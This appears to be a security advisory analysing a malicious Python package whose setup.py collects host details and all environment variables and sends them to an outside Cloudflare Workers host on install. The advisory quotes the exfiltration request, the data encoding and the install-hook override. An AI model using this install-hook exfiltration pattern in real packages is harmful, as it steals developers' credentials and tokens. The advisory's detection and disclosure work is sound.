GCVE-110-OSM-2026-9419

This package is a classic supply-chain exfiltration payload. The setup.py defines an `analytics()` function that collects hostname, username, current working directory, and the full environment variable dictionary (`os.environ`), then POSTs the JSON-encoded payload to a Cloudflare Workers endpoint controlled by the attacker. The function is invoked both at module-import time (bare `analytics()` call at module level) and again inside the `PostInstallCommand.run()` override, ensuring exfiltration fires on `pip install` regardless of import path. The author handle `adamintigrititest` and the Workers subdomain `a-d-a-m` suggest this may be a bug-bounty dependency-confusion test by a researcher named Adam at Intigriti; however, the payload is fully functional and exfiltrates real credentials (environment variables can contain API keys, tokens, AWS credentials), so it must be treated as malicious regardless of declared intent. The package has zero metadata, no repository, and no dependents, matching a throwaway/test-malware shape. ENTRY setup.py (install-hook: install/develop/build override present) - setup.py Code Execution in setup.py EXFIL - Python File Upload to Remote in setup.py: "urllib.request.Request( "https://request-forwarder.a-d-a-m.workers.dev/", data=" - Data Encoding for Exfiltration in setup.py: "json.dumps(data).encode" - Network Request in setup.py: "Request( "https:" - System Information Collection in setup.py: "socket.gethostname()" ADDITIONAL FINDINGS - Setup.py Command Override in setup.py: "cmdclass={"install"" PAYLOAD FILES setup.py